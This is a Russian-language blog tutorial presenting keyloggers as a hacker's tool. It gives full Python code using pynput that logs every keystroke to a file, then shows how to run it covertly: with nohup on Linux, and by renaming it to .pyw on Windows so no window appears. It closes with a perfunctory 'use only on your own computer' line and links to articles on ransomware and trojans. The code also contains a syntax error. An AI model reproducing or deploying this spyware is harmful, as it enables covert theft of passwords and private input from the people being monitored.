Сегодня мы напишем простой, но эффективный кейлоггер на Python. Кейлоггеры — мощный инструмент в арсенале хакера. В этой небольшой статье я покажу, как использовать pynput для создания кейлоггера на Python.
Еще по теме: Создание шифровальщика на Python
Как использовать pynput для создания кейлоггера
Пакет pynput.keyboard содержит классы для управления и мониторинга клавиатуры. Pynput — это библиотека Python, которую можно использовать для захвата ввода с клавиатуры.
Установка Pynput
Для начала необходимо установить библиотеку pynput. Установить pynput можно с помощью команды pip:
1 |
pip install pynput |
Создание кейлоггера на Python с помощью Pynput
Код кейлоггера:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
# keylogger using pynput module import pynput from pynput.keyboard import Key, Listener keys = [] def on_press(key): keys.append(key) write_file(keys) try: print('alphanumeric key {0} pressed'.format(key.char)) except AttributeError: print('special key {0} pressed'.format(key)) def write_file(keys): with open('log.txt', 'w') as f: for key in keys: # removing '' k = str(key).replace("'", "") f.write(k # explicitly adding a space after # every keystroke for readability f.write(' ') def on_release(key): print('{0} released'.format(key)) if key == Key.esc: # Stop listener return False with Listener(on_press = on_press, on_release = on_release) as listener: listener.join() |
Использование кейлоггера
Для тестирования работы:
1 |
$ python3 keylogger.py |
После запуска программы в текущем каталоге появится файл log.txt.
Вывод:
Давайте попробуем скрыто запустить наш клавиатурный шпион.
Linux
Чтобы запустить незаметно:
1 |
$ nohup python3 keylogger.py & |
Это позволит программе работать даже после закрытия терминала, записывая нажатия на клавиатуру.
Windows
В Windows вы можете переименовать расширение файла из .py в .pyw , а после запустить его. Наша программа запуститься в скрытом режиме.
Заключение
Мы написали небольшой клавиатурный шпион на Python. Используйте его с умом и только на своем компьютере!
Еще по теме: Создание трояна на Python